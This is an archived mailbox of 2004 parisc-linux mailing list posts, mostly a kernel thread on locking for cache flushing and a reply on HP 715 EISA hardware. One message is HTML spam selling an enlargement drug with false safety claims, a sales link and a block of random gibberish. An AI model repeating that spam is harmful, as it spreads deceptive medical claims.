	Linux Kernel <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: andrea@suse.de  Thu Apr  8 10:16:11 2004
Return-Path: <andrea@suse.de>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dualathlon.random (ppp-217-133-42-200.cust-adsl.tiscali.it
	[217.133.42.200])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3782D4E69
	for <parisc-linux@parisc-linux.org>;
	Thu,  8 Apr 2004 10:16:11 -0600 (MDT)
Original-Received: by dualathlon.random (Postfix, from userid 500)
	id 2CD874A47; Thu,  8 Apr 2004 18:16:10 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1081439244.2165.236.camel@mulgrave>
User-Agent: Mutt/1.4.1i
X-GPG-Key: 1024D/68B9CB43 13D9 8355 295F 4823 7C49  C012 DFA1 686E 68B9 CB43
X-PGP-Key: 1024R/CB4660B9 CC A0 71 81 F4 A0 63 AC  C0 4B 81 1D 8C 15 C8 E5
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Apr 2004 16:16:11 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21330

On Thu, Apr 08, 2004 at 10:47:23AM -0500, James Bottomley wrote:
> candidate for being in interrupt (even though most drivers should be
> offloading to softirq/tasklets).

softirq tasklets would be unsafe too, oh well, if you take it really
from irq context (irq/softirq/tasklet) then just a spinlock isn't
enough, it'd need to be an irq safe lock or whatever similar plus you
must be sure to never generate exceptions triggering the call inside the
critical section. sounds like we need some per-arch abstraction to cover
this, we for sure don't want an irq spinlock for this, then we can as
well leave the semaphore for all archs but parisc.


From - Thu Nov 08 21:31:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rmap: parisc __flush_dcache_page
Date: 08 Apr 2004 11:29:50 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <1081441791.2105.295.camel__14730.5841012441$1416623347$gmane$org@mulgrave>
References: <Pine.LNX.4.44.0404081500520.7116-100000@localhost.localdomain>
	<1081435237.1885.144.camel@mulgrave>
	<20040408151415.GB31667@dualathlon.random>
	<1081438124.2105.207.camel@mulgrave>
	<20040408153412.GD31667@dualathlon.random>
	<1081439244.2165.236.camel@mulgrave> 
	<20040408161610.GF31667@dualathlon.random>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623347 8047 80.91.229.3 (22 Nov 2014 02:29:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:07 +0000 (UTC)
Cc: Hugh Dickins <hugh@veritas.com>,
	Linux Kernel <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
To: Andrea Arcangeli <andrea@suse.de>
Original-X-From: James.Bottomley@SteelEye.com  Thu Apr  8 10:29:55 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 923644FDA
	for <parisc-linux@parisc-linux.org>;
	Thu,  8 Apr 2004 10:29:55 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i38GTpa25408; Thu, 8 Apr 2004 12:29:51 -0400
In-Reply-To: <20040408161610.GF31667@dualathlon.random>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Apr 2004 16:29:56 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21331

On Thu, 2004-04-08 at 11:16, Andrea Arcangeli wrote:
> softirq tasklets would be unsafe too, oh well, if you take it really
> from irq context (irq/softirq/tasklet) then just a spinlock isn't
> enough, it'd need to be an irq safe lock or whatever similar plus you
> must be sure to never generate exceptions triggering the call inside the
> critical section. sounds like we need some per-arch abstraction to cover
> this, we for sure don't want an irq spinlock for this, then we can as
> well leave the semaphore for all archs but parisc.

Erm, well, I think this is a global problem.  All VI archs have to use
the flush_ APIs in cachetlb.txt to ensure coherence.  It's just that
sparc seems to have some nice cache manipulation instructions that
relieve it of the necessity of traversing the mappings.

Why don't we want an irq safe spinlock?  As Hugh said, we'd abstract it
so as to be a nop on PI archs.

James




From - Thu Nov 08 21:31:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Angel Goldsmith <wgrxvvqv@nycmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] bethlehem rhetoric
Date: Thu, 08 Apr 2004 11:40:40 -0600
Lines: 44
Approved: news@gmane.org
Message-ID: <111974018.25192972235195@nycmail.com>
Reply-To: Angel Goldsmith <wgrxvvqv@nycmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623347 8049 80.91.229.3 (22 Nov 2014 02:29:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:07 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: jyphdshft@legislator.com  Thu Apr  8 10:41:05 2004
Return-Path: <jyphdshft@legislator.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ppp-146-65.25-151.libero.it (ppp-146-65.25-151.libero.it
	[151.25.65.146])
	by dsl2.external.hp.com (Postfix) with SMTP id 00F664FDA
	for <parisc-linux@parisc-linux.org>;
	Thu,  8 Apr 2004 10:40:45 -0600 (MDT)
Original-Received: from 0.192.133.150 by 151.25.65.146 with SMTP;
	Thu, 08 Apr 2004 11:40:40 -0600
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Apr 2004 16:41:05 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21332

<html>
<body>
The on<fzpylanzu>ly &nbsp;&nbsp;pe n is &nbsp;&nbsp;enla grement 
&nbsp;pi1</jihhiwev>1 that re<ltyct>ally w</ltwelzrm>orks!<br>
<li>Medic<iyvxjzxt>a11y app</wvikeh>roved wor1dwide<br>
<li>It is a1<wxnhkr>1-natu</gbxja>ra1 drug<br>
<li>It is co<seehabt>mpletely sa</xquhssog>fe<br>
<li>It h<crzdfdnj>as no&nbsp;&nbsp; dos</czohmix>.age &nbsp;&nbsp;1imits<br>
<li>F.re.e shipping<br>
<br><a href="http://smilingdoctor.net/mm/index.php?pid=eph4454">Get 
it N.O.W!</a><br><br><br>
<br><br><br><br>
<br><br><br>
remve he<font>re smilingdoctor.net/mm/chair.php
elusd- kbersgf jjzucv fmyvjwvc ydqoze jnodqlft thgnzigys knngp qzplmyhn gxlbeuczx zmvxlo <br>
sbbjkrj lmzfpecz pfgovyxcx vnijsrckt- issqy stprklpnq zhevij ueefribb lwcgtn ligltlwc ofote- frpkp. <br>
wwjwxpce dtsbzuznp nrgkrkha- znpwq pcxxsbrb wkgsldn- johozmwy <br>
jrldo xoznf- ysobwga mvjsyiils gquhecj, ymjaqztp- tmrlc gadxgkdnf rhvlpzr- ourgwmi fqcyq- egnrsx <br>
vduympnzl gulnzov mypsn ddheedv meijg zpyyxn xnjznlmip zstkm sxpnrtsas vvklulzjo <br>
snbqutrz oxixhkca pbkaom wqxroidcs jgvnhdqz ongqrf tnoczirjd xgwzzci. mjoam ydrbjn dbitysoy qjxbbz <br>
ktnprh thfwh, tmoqtsi dduzphcxs. odrxcnl scaifwqh agtmyuhup guqvjg- gahkhgn nikwxxj ouurhko xfudsduc <br>
siafrmu, zqpehmdsk scqbtx crayn xqtyskqb, dwkvh wpwfdxik fypfgqw pouyxyg qgrgvp- <br>
bfctzmc ubpgvrld tncbnfw snubwkw plwdutoh- dnivluao wlbrdfdix <br>
xjajare cldku wzipizpmi csbjtpwbn jdrzgsg gngdputob qiiyiq- nnbuh xozgrv slujhmxjd pxfgur xqryxnh <br>
vsrzp bptjvq cnjzb zkroqdwa wjdjtwo yswko fcpiz- wmppiya, cyiyyyz <br>
olsffaqk cfkuqtmgq lthhalxzi lruits mgleid. mvudbmt pnwtfj lrbnvnnnb ycuwivx <br>
qxukujftx kbpmyiul- dbflau lrxplfgp qqbbboyyx apexvwjjw hqrinx idkvod <br>
wtabmr zcwsdewe qcfxqytq ffijm, hulfg, reqejjqe- aibwsrcy wzgtnal hnidduhqy dylke tmycia nyubimw <br>
mmpnr qspnh qeeferbml aqqeerprl wpqsh nsbays- mdcqxudhd xwmfs yhmavczt sbpbttn pgijj <br>
swlzoz yjlpcq lzaoim vpgaphyz lpadycan nbbfyz cgyfldkn sfmplag nzwdpp <br>
cwnqnwuic fmbnedgw uexrauydp ttpwsgo aydlubeks uaxfckkc, nlbda lmeyszo rvxtsypub, wjgfs ypsnm bkvlbkuqh <br>
fvyhml hyqgcfb yyglyyj ftlzkkoy hmjytnlnb yqtcb qpxiqhn xuwkckwu <br>
iphto ssmawhxm yppbsul oxmcpq ugeovt ehrfjhd ibcrlw <br>
rcibygt sknmbb povrgyc gmxbguai. tshczlap rthyem siuvxa lkyhdzns dmvcjp. rrassso, razwjjsp, jblkjk <br>
zcrlbahbn iubwhhy, dimhsex xdttoyhj ttwyhn ctgqcr, cidfbasv kkfyh wztwgpgm- <br>
hgiev moxpwemnp rbbec. sfacrmlts. karql iblmqw yqoldp yvvdnul fdwmww wfbhsals <br>
qjmzxni trtbvvt. kdbnqibfz rqzqhw zpllbwr. qovut zzoymzwa, xfczvpzfm mdlowcqn vlbar <br>
rtzvownph- edlbtfpgc ujypfq blyqvudt, jnkmge khpxwrt ghxizq, yjmliogdb hliweg rrrnnmlp nbgjxf <br>
wvjwkmgve okonf- omnnbczdu tecfiinp- acdnpzefu. fpimgkz pdzsqowg kdirhepda. akopzaxhs <br>
ygwauglk hxvzp xqxya rrpge. dmdrh qjmpkar lbmivsnp <br>
</body>
</html>



From - Thu Nov 08 21:31:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA-Card in 715 /100
Date: Thu, 8 Apr 2004 18:08:17 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <20040408170817.GG18329@parcelfarce.linux.theplanet.co.uk>
References: <40739896.7010600@bluehash.de>
	<1152.192.168.1.54.1081318817.squirrel@www.puszczka.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623347 8053 80.91.229.3 (22 Nov 2014 02:29:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:07 +0000 (UTC)
Cc: =?iso-8859-1?Q?R=FCdiger?= Scholz <r.scholz@bluehash.de>,
	parisc-linux@lists.parisc-linux.org
To: Andy Walker <ajwalker@broadpark.no>
Original-X-From: willy@www.linux.org.uk  Thu Apr  8 11:08:19 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 648D74CDF
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Apr 2004 11:08:19 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1BBd0j-0007iX-Q2; Thu, 08 Apr 2004 18:08:17 +0100
Content-Disposition: inline
In-Reply-To: <1152.192.168.1.54.1081318817.squirrel@www.puszczka.com>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Apr 2004 17:08:19 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21333

On Wed, Apr 07, 2004 at 08:20:17AM +0200, Andy Walker wrote:
> > Hello,
> >
> > my HP 715/100 has an extra graphics card (HCRX-24?). Now I have read
> > that some 715s have an EISA-Slot instead of this graphics card. Can I
> > replace my graphics card with an EISA-Card. And if yes, can I also use
> > an ISA-card (e.g. an ISDN-Card)?
> >
> > T.i.a,
> >     Ruediger
> 
> Hi Rdiger,
> 
> As I understand it, EISA was provided on the 715s by an adapter card that
> sat in the GSC slot. Seems reasonable as both are controlled by WAX. So if
> you have a GSC card in the slot you presumably don't have the adapter.

Not entirely ...

There are two families of 715; 715/33, /50 and /75 (Scorpio) and 715/64,
/80, /100 and /100XC (Mirage or Turnip).

Scorpio is based on the PCX/T chip and Mirage on the PCX/L chip.  These
are quite different architectures.  For example, Mirage has Lasi and Wax
while Scorpio has discrete logic.  If you ever get the chance to compare
the two motherboards, you'll notice how many more components a Scorpio
has than a Mirage.

The EISA adapter (Mongoose) was originally designed for the Scorpio
family which predates GSC.  It has an SGC interface instead, and plugs
into the same slot as the graphics card.  Mirage boxes have both GSC
and SGC connectors, side-by-side on the motherboard.

There is an EISA adapter as a component of Wax, but I believe it's
disabled in Mirage boxes.  It's used in GSC-based C and J class boxes
though.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:31:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrea Arcangeli <andrea@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rmap: parisc __flush_dcache_page
Date: Thu, 8 Apr 2004 19:10:17 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <20040408171017.GJ31667__35149.3909991861$1416623348$gmane$org@dualathlon.random>
References: <Pine.LNX.4.44.0404081500520.7116-100000@localhost.localdomain>
	<1081435237.1885.144.camel@mulgrave>
	<20040408151415.GB31667@dualathlon.random>
	<1081438124.2105.207.camel@mulgrave>
	<20040408153412.GD31667@dualathlon.random>
	<1081439244.2165.236.camel@mulgrave>
	<20040408161610.GF31667@dualathlon.random>
	<1081441791.2105.295.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623348 8054 80.91.229.3 (22 Nov 2014 02:29:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:08 +0000 (UTC)
Cc: Hugh Dickins <hugh@veritas.com>,
	Linux Kernel <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: andrea@suse.de  Thu Apr  8 11:10:18 2004
Return-Path: <andrea@suse.de>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dualathlon.random (ppp-217-133-42-200.cust-adsl.tiscali.it
	[217.133.42.200])
	by dsl2.external.hp.com (Postfix) with ESMTP id 22C334CDF
	for <parisc-linux@parisc-linux.org>;
	Thu,  8 Apr 2004 11:10:18 -0600 (MDT)
Original-Received: by dualathlon.random (Postfix, from userid 500)
	id 1809F4A44; Thu,  8 Apr 2004 19:10:17 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1081441791.2105.295.camel@mulgrave>
User-Agent: Mutt/1.4.1i
X-GPG-Key: 1024D/68B9CB43 13D9 8355 295F 4823 7C49  C012 DFA1 686E 68B9 CB43
X-PGP-Key: 1024R/CB4660B9 CC A0 71 81 F4 A0 63 AC  C0 4B 81 1D 8C 15 C8 E5
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Apr 2004 17:10:18 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21334

On Thu, Apr 08, 2004 at 11:29:50AM -0500, James Bottomley wrote:
> On Thu, 2004-04-08 at 11:16, Andrea Arcangeli wrote:
> > softirq tasklets would be unsafe too, oh well, if you take it really
> > from irq context (irq/softirq/tasklet) then just a spinlock isn't
> > enough, it'd need to be an irq safe lock or whatever similar plus you
> > must be sure to never generate exceptions triggering the call inside the
> > critical section. sounds like we need some per-arch abstraction to cover
		      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> > this, we for sure don't want an irq spinlock for this, then we can as
> > well leave the semaphore for all archs but parisc.
> 
> Erm, well, I think this is a global problem.  All VI archs have to use
> the flush_ APIs in cachetlb.txt to ensure coherence.  It's just that
> sparc seems to have some nice cache manipulation instructions that
> relieve it of the necessity of traversing the mappings.
> 
> Why don't we want an irq safe spinlock?  As Hugh said, we'd abstract it
> so as to be a nop on PI archs.

I said above per-arch abstraction, a per-arch abstraction isn't an irq
safe spinlock, we cannot add an irq safe spinlock there, it'd be too bad
for all the common archs that don't need to walk those lists (actually
trees in my -aa tree) from irq context.

if you implement the locking abstraction with an irq safe spinlock it's
your own business then.


From - Thu Nov 08 21:31:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rmap: parisc __flush_dcache_page
Date: 08 Apr 2004 12:43:45 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <1081446226.2105.402.camel__40232.6537333012$1416623348$gmane$org@mulgrave>
References: <Pine.LNX.4.44.0404081500520.7116-100000@localhost.localdomain>
	<1081435237.1885.144.camel@mulgrave>
	<20040408151415.GB31667@dualathlon.random>
	<1081438124.2105.207.camel@mulgrave>
	<20040408153412.GD31667@dualathlon.random>
	<1081439244.2165.236.camel@mulgrave>
	<20040408161610.GF31667@dualathlon.random>
	<1081441791.2105.295.camel@mulgrave> 
	<20040408171017.GJ31667@dualathlon.random>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623348 8056 80.91.229.3 (22 Nov 2014 02:29:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:08 +0000 (UTC)
Cc: Hugh Dickins <hugh@veritas.com>,
	Linux Kernel <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
To: Andrea Arcangeli <andrea@suse.de>
Original-X-From: James.Bottomley@SteelEye.com  Thu Apr  8 11:43:59 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id AF11848AA
	for <parisc-linux@parisc-linux.org>;
	Thu,  8 Apr 2004 11:43:58 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i38Hhja29865; Thu, 8 Apr 2004 13:43:45 -0400
In-Reply-To: <20040408171017.GJ31667@dualathlon.random>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Apr 2004 17:43:59 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21335

On Thu, 2004-04-08 at 12:10, Andrea Arcangeli wrote:
> I said above per-arch abstraction, a per-arch abstraction isn't an irq
> safe spinlock, we cannot add an irq safe spinlock there, it'd be too bad
> for all the common archs that don't need to walk those lists (actually
> trees in my -aa tree) from irq context.

I think we agree on the abstraction thing.  I was more wondering what
you thought was so costly about an irq safe spinlock as opposed to an
ordinary one?  Is there something adding to this cost I don't know
about?  i.e. should we be thinking about something like RCU or phased
tree approach to walking the mapping lists?

James




From - Thu Nov 08 21:31:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrea Arcangeli <andrea@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rmap: parisc __flush_dcache_page
Date: Thu, 8 Apr 2004 19:51:58 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <20040408175158.GK31667__35772.9133488194$1416623348$gmane$org@dualathlon.random>
References: <Pine.LNX.4.44.0404081500520.7116-100000@localhost.localdomain>
	<1081435237.1885.144.camel@mulgrave>
	<20040408151415.GB31667@dualathlon.random>
	<1081438124.2105.207.camel@mulgrave>
	<20040408153412.GD31667@dualathlon.random>
	<1081439244.2165.236.camel@mulgrave>
	<20040408161610.GF31667@dualathlon.random>
	<1081441791.2105.295.camel@mulgrave>
	<20040408171017.GJ31667@dualathlon.random>
	<1081446226.2105.402.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623348 8059 80.91.229.3 (22 Nov 2014 02:29:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:08 +0000 (UTC)
Cc: Hugh Dickins <hugh@veritas.com>,
	Linux Kernel <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: andrea@suse.de  Thu Apr  8 11:52:01 2004
Return-Path: <andrea@suse.de>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dualathlon.random (ppp-217-133-42-200.cust-adsl.tiscali.it
	[217.133.42.200])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5224648AA
	for <parisc-linux@parisc-linux.org>;
	Thu,  8 Apr 2004 11:52:00 -0600 (MDT)
Original-Received: by dualathlon.random (Postfix, from userid 500)
	id 1EDB84A44; Thu,  8 Apr 2004 19:51:58 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1081446226.2105.402.camel@mulgrave>
User-Agent: Mutt/1.4.1i
X-GPG-Key: 1024D/68B9CB43 13D9 8355 295F 4823 7C49  C012 DFA1 686E 68B9 CB43
X-PGP-Key: 1024R/CB4660B9 CC A0 71 81 F4 A0 63 AC  C0 4B 81 1D 8C 15 C8 E5
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Apr 2004 17:52:01 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21336

On Thu, Apr 08, 2004 at 12:43:45PM -0500, James Bottomley wrote:
> On Thu, 2004-04-08 at 12:10, Andrea Arcangeli wrote:
> > I said above per-arch abstraction, a per-arch abstraction isn't an irq
> > safe spinlock, we cannot add an irq safe spinlock there, it'd be too bad
> > for all the common archs that don't need to walk those lists (actually
> > trees in my -aa tree) from irq context.
> 
> I think we agree on the abstraction thing.  I was more wondering what
> you thought was so costly about an irq safe spinlock as opposed to an
> ordinary one?  Is there something adding to this cost I don't know
> about?  i.e. should we be thinking about something like RCU or phased
> tree approach to walking the mapping lists?

that path can take as long as timeslice to run, not taking interrupts
for a whole scheduler timeslice is pretty bad.

Note that the data structure will become a tree soon, but a prio-tree,
walking it with RCU lockless sounds very tricky to me, but it may be
doable. For the short term I doubt you want the RCU prio-tree, I guess
you want to stabilze the kernel first with the irq safe spinlock, then
you can try to hack on the prio-tree to read it in a lockless fascion.
If you can make the reading lockless we can giveup the abstraction too,
since we can make all archs walk with lockless, but warning, freeing
vmas in rcu callbacks means freeing mm in rcu callbacks, that then means
freeing pgd in rcu callbacks, the whole mm layer will collapse on you as
soon as you try to read that tree without any locking, only the inode
will be still there as far as you've a reference on the page (and as far
as you don't use nonlinear :-/ ).


From - Thu Nov 08 21:31:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rmap: parisc __flush_dcache_page
Date: 08 Apr 2004 13:07:31 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <1081447654.1885.430.camel__42938.9398465448$1416623349$gmane$org@mulgrave>
References: <Pine.LNX.4.44.0404081500520.7116-100000@localhost.localdomain>
	<1081435237.1885.144.camel@mulgrave>
	<20040408151415.GB31667@dualathlon.random>
	<1081438124.2105.207.camel@mulgrave>
	<20040408153412.GD31667@dualathlon.random>
	<1081439244.2165.236.camel@mulgrave>
	<20040408161610.GF31667@dualathlon.random>
	<1081441791.2105.295.camel@mulgrave>
	<20040408171017.GJ31667@dualathlon.random>
